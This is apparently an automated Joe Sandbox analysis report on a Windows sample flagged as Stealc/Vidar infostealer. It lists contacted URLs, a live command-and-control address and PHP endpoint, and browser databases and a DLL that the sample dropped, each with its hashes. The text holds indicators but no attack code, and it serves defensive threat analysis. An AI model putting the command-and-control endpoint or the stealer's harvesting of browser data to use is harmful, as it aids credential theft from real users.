http://polymer.github.io/PATENTS.txt	chrome.exe, 00000001.00000003.1836862600.00004A3000C88000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1837255280.00004A30002F4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000002.1925730837.00004A30002E0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1836906481.00004A3000A0C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1836972263.00004A3000F60000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1835184153.00004A300100C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1835412769.00004A3001038000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1835307351.00004A300106C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1837372098.00004A30010B8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1836939104.00004A300080C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1835275417.00004A300101C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1835339682.00004A3000F2C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1837487832.00004A300120C000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016Ed1aWxkV	file.exe, 00000000.00000002.2080967365.0000000000436000.00000040.00000001.01000000.00000003.sdmp	false		unknown
http://185.215.113.206JJD	file.exe, 00000000.00000002.2080967365.000000000037C000.00000040.00000001.01000000.00000003.sdmp	false		unknown
https://cdn.ecosia.org/assets/images/ico/favicon.ico	chrome.exe, 00000001.00000003.1859150086.00004A3000BC4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1832796731.00004A3000BC8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1914648687.00004A3000BC4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000002.1930668423.00004A3000BC8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1837221454.00004A3000BC4000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	file.exe, 00000000.00000003.1933398290.000000000126C000.00000004.00000020.00020000.00000000.sdmp, GIJDAFBK.0.dr	false	URL Reputation: safe	unknown
https://bridge.lga1.ap01.net/ctp?version=16.0.0&key=1696332238301000001.1&ci=1696332238417.12791&cta	file.exe, 00000000.00000002.2082345429.0000000001213000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2097680594.00000000233C2000.00000004.00000020.00020000.00000000.sdmp, FIIIIDGHJEBFBGDHDGII.0.dr	false		unknown
https://issuetracker.google.com/161903006	chrome.exe, 00000001.00000003.1828067892.00004A30003C8000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://www.ecosia.org/newtab/	file.exe, 00000000.00000003.1933398290.000000000126C000.00000004.00000020.00020000.00000000.sdmp, chrome.exe, 00000001.00000002.1930562263.00004A3000B5C000.00000004.00000800.00020000.00000000.sdmp, GIJDAFBK.0.dr	false	URL Reputation: safe	unknown
https://drive-daily-1.corp.google.com/	chrome.exe, 00000001.00000003.1822730404.00004A3000468000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://safebrowsing.googleusercontent.com/safebrowsing/clientreport/chrome-certsJ0	chrome.exe, 00000001.00000002.1929624729.00004A3000958000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://drive-daily-5.corp.google.com/	chrome.exe, 00000001.00000002.1925946105.00004A3000358000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://duckduckgo.com/favicon.ico	chrome.exe, 00000001.00000002.1930809752.00004A3000BEC000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://docs.google.com/spreadsheets/u/0/create?usp=chrome_actions	chrome.exe, 00000001.00000002.1940646655.00004A3001074000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000002.1928413011.00004A3000744000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000002.1926785516.00004A30004EC000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://myaccount.google.com/data-and-privacy?utm_source=ga-chrome-actions&utm_medium=managePrivacy	chrome.exe, 00000001.00000002.1926517200.00004A300048C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000002.1928413011.00004A3000744000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000002.1932755799.00004A3000ECC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000002.1929586439.00004A3000938000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://plus.google.com	chromecache_78.3.dr	false		unknown
http://anglebug.com/3078	chrome.exe, 00000001.00000003.1831020532.00004A300080C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1830979410.00004A30003C8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1828067892.00004A30003C8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000002.1927571580.00004A300060C000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://anglebug.com/4901J0G	chrome.exe, 00000001.00000002.1927858277.00004A300067C000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://anglebug.com/7553	chrome.exe, 00000001.00000003.1831020532.00004A300080C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1830979410.00004A30003C8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000002.1930562263.00004A3000B5C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1828067892.00004A30003C8000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://anglebug.com/5375	chrome.exe, 00000001.00000003.1831020532.00004A300080C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1830979410.00004A30003C8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1828067892.00004A30003C8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000002.1927571580.00004A300060C000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://anglebug.com/5371	chrome.exe, 00000001.00000003.1831020532.00004A300080C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1830979410.00004A30003C8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000002.1930562263.00004A3000B5C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1828067892.00004A30003C8000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://anglebug.com/4722	chrome.exe, 00000001.00000002.1927858277.00004A300067C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1831020532.00004A300080C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1830979410.00004A30003C8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1828067892.00004A30003C8000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://m.google.com/devicemanagement/data/api	chrome.exe, 00000001.00000002.1924926380.00004A30001C4000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://developer.chrome.com/extensions/external_extensions.html)	chrome.exe, 00000001.00000002.1927780747.00004A3000648000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://docs.google.com/presentation/u/0/create?usp=chrome_actions	chrome.exe, 00000001.00000002.1940646655.00004A3001074000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000002.1928413011.00004A3000744000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000002.1926785516.00004A30004EC000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://google-ohttp-relay-join.fastly-edge.com/Zx	chrome.exe, 00000001.00000003.1862953929.00004A3001614000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1862485736.00004A3001610000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://www.google.com/images/branding/product/ico/googleg_lodp.icoresent.	chrome.exe, 00000001.00000002.1930562263.00004A3000B5C000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://anglebug.com/7556	chrome.exe, 00000001.00000003.1831020532.00004A300080C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1830979410.00004A30003C8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000002.1930562263.00004A3000B5C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1828067892.00004A30003C8000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://chromewebstore.google.com/	chrome.exe, 00000001.00000002.1923307296.00004A300001C000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://185.215.113.206/6c4adf523b719729.phplZs	file.exe, 00000000.00000002.2082345429.0000000001213000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://drive-preprod.corp.google.com/	chrome.exe, 00000001.00000002.1925946105.00004A3000358000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://clients4.google.com/chrome-sync	chrome.exe, 00000001.00000002.1924926380.00004A30001C4000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://publickeyservice.pa.gcp.privacysandboxservices.com	chrome.exe, 00000001.00000003.1859345929.00004A30014F8000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://google-ohttp-relay-join.fastly-edge.com/kx	chrome.exe, 00000001.00000003.1862953929.00004A3001614000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1862485736.00004A3001610000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://unisolated.invalid/a	chrome.exe, 00000001.00000002.1929806090.00004A30009B8000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://anglebug.com/6692	chrome.exe, 00000001.00000003.1831020532.00004A300080C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1830979410.00004A30003C8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000002.1930562263.00004A3000B5C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1828067892.00004A30003C8000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://issuetracker.google.com/258207403	chrome.exe, 00000001.00000003.1828067892.00004A30003C8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000002.1930979203.00004A3000C2C000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://anglebug.com/3502	chrome.exe, 00000001.00000002.1927858277.00004A300067C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1831020532.00004A300080C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1830979410.00004A30003C8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1828067892.00004A30003C8000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://anglebug.com/3623	chrome.exe, 00000001.00000003.1828067892.00004A30003C8000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://anglebug.com/3625	chrome.exe, 00000001.00000003.1828067892.00004A30003C8000.00000004.00000800.00020000.00000000.sdmp	false		unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
216.58.206.78	play.google.com	United States	15169	GOOGLEUS	false
216.58.206.46	plus.l.google.com	United States	15169	GOOGLEUS	false
239.255.255.250	unknown	Reserved	unknown	unknown	false
185.215.113.206	unknown	Portugal	206894	WHOLESALECONNECTIONSNL	true
172.217.16.196	www.google.com	United States	15169	GOOGLEUS	false

Private

IP
192.168.2.4
127.0.0.1

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1544234
Start date and time:	2024-10-29 04:51:06 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 7m 18s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	8
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	file.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@17/37@6/7
EGA Information:	Successful, ratio: 100%
HCA Information:	Failed
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, WMIADAP.exe, SIHClient.exe, conhost.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 172.217.18.99, 142.250.186.78, 74.125.71.84, 34.104.35.123, 142.250.184.195, 199.232.210.172, 142.250.186.170, 142.250.186.106, 216.58.206.42, 142.250.185.106, 142.250.185.74, 216.58.212.138, 172.217.18.10, 142.250.184.234, 142.250.185.170, 216.58.206.74, 172.217.16.202, 172.217.23.106, 142.250.185.202, 142.250.185.234, 142.250.185.138, 172.217.18.106, 192.229.221.95
Excluded domains from analysis (whitelisted): fs.microsoft.com, accounts.google.com, slscr.update.microsoft.com, otelrules.azureedge.net, ctldl.windowsupdate.com, clientservices.googleapis.com, ogads-pa.googleapis.com, fe3cr.delivery.mp.microsoft.com, clients2.google.com, ocsp.digicert.com, edgedl.me.gvt1.com, clients.l.google.com, www.gstatic.com
HTTPS sessions have been limited to 150. Please view the PCAPs for the complete data.
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing disassembly code.
Report size getting too big, too many NtQueryAttributesFile calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
23:52:31	API Interceptor	30x Sleep call for process: file.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
239.255.255.250	X9d3758tok.exe	Get hash	malicious	Stealc, Vidar	Browse
	Salary_Structure_Benefits_for_Sebastien.daveauIyNURVhUTlVNUkFORE9NMTkjIw==.html	Get hash	malicious	HTMLPhisher	Browse
	https://58.208.93.232	Get hash	malicious	Unknown	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	KMfWqiiMu0.exe	Get hash	malicious	Stealc, Vidar	Browse
	https://api.inspectrealestate.com.au/email/track?eta=1&t=B32-5UARLGTXC6GHXC7PJPHCGUP7HMF6FJEQ76L6MOL7WYB6P6EYQNBONANBBGKOXFRO3HPDET5TXGOZXG5FJNMJJC437YUYUWDF5VEVIWPK6LECEZJV3OMRCXF6VI76ZOGYOFIOERVACTHYB4KHK22IKKEWLYPTUBLONXLA7QVY2SW2TZMW4ULVG2UAKDR3DM3RL4TTJAF3F3ROXQ3ZLRVYS7Z2T4TIQETEEUV73V42AQLF65YKSUX6JMYEW3ZHXPREAMXXBOQV32GKOYOISFZKX4GPTPR2IMSMCULLR2V4QUSMU3MWF7NQ%3D%3D%3D%3D	Get hash	malicious	Unknown	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	https://hianime.to	Get hash	malicious	Unknown	Browse
	(No subject) (98).eml	Get hash	malicious	HTMLPhisher	Browse
	https://on-combine-data.s3.us-west-2.amazonaws.com/dealer-data/Share+Point/NTAS_MS3000X_Installer_v2.8.25_October2024_NO_UPS.exe	Get hash	malicious	Unknown	Browse
185.215.113.206	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206/6c4adf523b719729.php
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.206/6c4adf523b719729.php
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206/6c4adf523b719729.php
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.206/6c4adf523b719729.php
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206/6c4adf523b719729.php
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.206/6c4adf523b719729.php
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206/6c4adf523b719729.php
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.206/6c4adf523b719729.php
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206/6c4adf523b719729.php
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.206/6c4adf523b719729.php

Domains

⊘No context

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
WHOLESALECONNECTIONSNL	file.exe	Get hash	malicious	LummaC	Browse	185.215.113.16
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.206
	file.exe	Get hash	malicious	LummaC	Browse	185.215.113.16
	file.exe	Get hash	malicious	LummaC	Browse	185.215.113.16
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.206
	file.exe	Get hash	malicious	LummaC	Browse	185.215.113.16
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	LummaC	Browse	185.215.113.16

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
28a2c9bd18a11de089ef85a160da29e4	X9d3758tok.exe	Get hash	malicious	Stealc, Vidar	Browse	184.28.90.27 13.107.246.60 20.12.23.50
	Salary_Structure_Benefits_for_Sebastien.daveauIyNURVhUTlVNUkFORE9NMTkjIw==.html	Get hash	malicious	HTMLPhisher	Browse	184.28.90.27 13.107.246.60 20.12.23.50
	https://58.208.93.232	Get hash	malicious	Unknown	Browse	184.28.90.27 13.107.246.60 20.12.23.50
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	184.28.90.27 13.107.246.60 20.12.23.50
	KMfWqiiMu0.exe	Get hash	malicious	Stealc, Vidar	Browse	184.28.90.27 13.107.246.60 20.12.23.50
	https://api.inspectrealestate.com.au/email/track?eta=1&t=B32-5UARLGTXC6GHXC7PJPHCGUP7HMF6FJEQ76L6MOL7WYB6P6EYQNBONANBBGKOXFRO3HPDET5TXGOZXG5FJNMJJC437YUYUWDF5VEVIWPK6LECEZJV3OMRCXF6VI76ZOGYOFIOERVACTHYB4KHK22IKKEWLYPTUBLONXLA7QVY2SW2TZMW4ULVG2UAKDR3DM3RL4TTJAF3F3ROXQ3ZLRVYS7Z2T4TIQETEEUV73V42AQLF65YKSUX6JMYEW3ZHXPREAMXXBOQV32GKOYOISFZKX4GPTPR2IMSMCULLR2V4QUSMU3MWF7NQ%3D%3D%3D%3D	Get hash	malicious	Unknown	Browse	184.28.90.27 13.107.246.60 20.12.23.50
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	184.28.90.27 13.107.246.60 20.12.23.50
	https://hianime.to	Get hash	malicious	Unknown	Browse	184.28.90.27 13.107.246.60 20.12.23.50
	(No subject) (98).eml	Get hash	malicious	HTMLPhisher	Browse	184.28.90.27 13.107.246.60 20.12.23.50
	https://on-combine-data.s3.us-west-2.amazonaws.com/dealer-data/Share+Point/NTAS_MS3000X_Installer_v2.8.25_October2024_NO_UPS.exe	Get hash	malicious	Unknown	Browse	184.28.90.27 13.107.246.60 20.12.23.50

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
C:\ProgramData\chrome.dll	X9d3758tok.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	KMfWqiiMu0.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	hwWxZRwpeL.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	KTvTgKJSyw.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse

Created / dropped Files

C:\ProgramData\AFHJJEHI

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 2, database pages 56, cookie 0x24, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	114688
Entropy (8bit):	0.9746603542602881
Encrypted:	false
SSDEEP:	192:CwbUJ6IH9xhomnGCTjHbRjCLqtzKWJaW:CfJ6a9xpnQLqtzKWJn
MD5:	780853CDDEAEE8DE70F28A4B255A600B
SHA1:	AD7A5DA33F7AD12946153C497E990720B09005ED
SHA-256:	1055FF62DE3DEA7645C732583242ADF4164BDCFB9DD37D9B35BBB9510D59B0A3
SHA-512:	E422863112084BB8D11C682482E780CD63C2F20C8E3A93ED3B9EFD1B04D53EB5D3C8081851CA89B74D66F3D9AB48EB5F6C74550484F46E7C6E460A8250C9B1D8
Malicious:	false
Reputation:	high, very likely benign file
Preview:	SQLite format 3......@ .......8...........$......................................................O}...........4........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\BGDGHJEHJJDAAAKEBGCFCAAAAE

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, user version 12, last written using SQLite version 3042000, page size 32768, writer version 2, read version 2, file counter 3, database pages 3, cookie 0x1, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	98304
Entropy (8bit):	0.08235737944063153
Encrypted:	false
SSDEEP:	12:DQAsfWk73Fmdmc/OPVJXfPNn43etRRfYR5O8atLqxeYaNcDakMG/lO:DQAsff32mNVpP965Ra8KN0MG/lO
MD5:	369B6DD66F1CAD49D0952C40FEB9AD41
SHA1:	D05B2DE29433FB113EC4C558FF33087ED7481DD4
SHA-256:	14150D582B5321D91BDE0841066312AB3E6673CA51C982922BC293B82527220D
SHA-512:	771054845B27274054B6C73776204C235C46E0C742ECF3E2D9B650772BA5D259C8867B2FA92C3A9413D3E1AD35589D8431AC683DF84A53E13CDE361789045928
Malicious:	false
Reputation:	high, very likely benign file
Preview:	SQLite format 3......@ ..........................................................................j......}..}...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\DGCAAFBFBKFIDGDHJDBK

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Reputation:	high, very likely benign file
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\ECGDAAFIIJDAAAAKFHID

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 1, database pages 24, cookie 0xe, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	49152
Entropy (8bit):	0.8180424350137764
Encrypted:	false
SSDEEP:	96:uRMKLyeymwxCn8MZyFlSynlbiXyKwt8hG:uRkxGOXnlbibhG
MD5:	349E6EB110E34A08924D92F6B334801D
SHA1:	BDFB289DAFF51890CC71697B6322AA4B35EC9169
SHA-256:	C9FD7BE4579E4AA942E8C2B44AB10115FA6C2FE6AFD0C584865413D9D53F3B2A
SHA-512:	2A635B815A5E117EA181EE79305EE1BAF591459427ACC5210D8C6C7E447BE3513EAD871C605EB3D32E4AB4111B2A335F26520D0EF8C1245A4AF44E1FAEC44574
Malicious:	false
Reputation:	high, very likely benign file
Preview:	SQLite format 3......@ ..........................................................................O}....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\FIIIIDGHJEBFBGDHDGII

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	ASCII text, with very long lines (1809), with CRLF line terminators
Category:	dropped
Size (bytes):	9571
Entropy (8bit):	5.536643647658967
Encrypted:	false
SSDEEP:	192:qnaRt+YbBp6ihj4qyaaX86KKkfGNBw8DJSl:yegqumcwQ0
MD5:	5D8E5D85E880FB2D153275FCBE9DA6E5
SHA1:	72332A8A92B77A8B1E3AA00893D73FC2704B0D13
SHA-256:	50490DC0D0A953FA7D5E06105FE9676CDB9B49C399688068541B19DD911B90F9
SHA-512:	57441B4CCBA58F557E08AAA0918D1F9AC36D0AF6F6EB3D3C561DA7953ED156E89857FFB829305F65D220AE1075BC825F131D732B589B5844C82CA90B53AAF4EE
Malicious:	false
Preview:	// Mozilla User Preferences....// DO NOT EDIT THIS FILE...//..// If you make changes to this file while the application is running,..// the changes will be overwritten when the application exits...//..// To change a preference value, you can either:..// - modify it via the UI (e.g. via about:config in the browser); or..// - set it within a user.js file in your profile.....user_pref("app.normandy.first_run", false);..user_pref("app.normandy.migrationsApplied", 12);..user_pref("app.normandy.user_id", "57f16a19-e119-4073-bf01-28f88011f783");..user_pref("app.update.auto.migrated", true);..user_pref("app.update.background.rolledout", true);..user_pref("app.update.lastUpdateTime.browser-cleanup-thumbnails", 0);..user_pref("app.update.lastUpdateTime.recipe-client-addon-run", 1696333830);..user_pref("app.update.lastUpdateTime.region-update-timer", 0);..user_pref("app.update.lastUpdateTime.rs-experiment-loader-timer", 1696333856);..user_pref("app.update.lastUpdateTime.xpi-signature-verification

C:\ProgramData\GIJDAFBK

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.1358696453229276
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c5/w4:MnlyfnGtxnfVuSVumEH544
MD5:	28591AA4E12D1C4FC761BE7C0A468622
SHA1:	BC4968A84C19377D05A8BB3F208FBFAC49F4820B
SHA-256:	51624D124EFA3EE31EF43CB3D9ECFE98254D629957063747F4CA7061543B14B9
SHA-512:	5DDC8C36538AB1415637B2FF6C35AED3A94639A0C2B0A36E256A1C4477AA5A356813D1368913BA3B6E8B770625CDCB94EE7BFC17FD7D324982CFE3BDEC2D32EB
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\JKJDBAAAEHIEGCAKFHCGDHIEGD

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, user version 75, last written using SQLite version 3042000, page size 32768, writer version 2, read version 2, file counter 2, database pages 46, cookie 0x26, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	5242880
Entropy (8bit):	0.037963276276857943
Encrypted:	false
SSDEEP:	192:58rJQaXoMXp0VW9FxWZWdgokBQNba9D3DO/JxW/QHI:58r54w0VW3xWZWdOBQFal3dQ
MD5:	C0FDF21AE11A6D1FA1201D502614B622
SHA1:	11724034A1CC915B061316A96E79E9DA6A00ADE8
SHA-256:	FD4EB46C81D27A9B3669C0D249DF5CE2B49E5F37B42F917CA38AB8831121ADAC
SHA-512:	A6147C196B033725018C7F28C1E75E20C2113A0C6D8172F5EABCB8FF334EA6CE10B758FFD1D22D50B4DB5A0A21BCC15294AC44E94D973F7A3EB9F8558F31769B
Malicious:	false
Preview:	SQLite format 3......@ ...................&...................K..................................j.....-a>.~...\|0{dz.z.z"y.y3x.xKw.v.u.uGt.t;sAs.q.p.q.p{o.ohn.nem.n,m9l.k.lPj.j.h.h.g.d.c.c6b.b.a.a>..................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\chrome.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	692736
Entropy (8bit):	6.304379785339226
Encrypted:	false
SSDEEP:	12288:Kk5nGNLFzxC+gej5yNcTN+pt+tLK75PL2rn65hYVKKuKOvy/j3t:KMGNL/geFyNcTN+jv75TQn652VBuNyb
MD5:	EDA18948A989176F4EEBB175CE806255
SHA1:	FF22A3D5F5FB705137F233C36622C79EAB995897
SHA-256:	81A4F37C5495800B7CC46AEA6535D9180DADB5C151DB6F1FD1968D1CD8C1EEB4
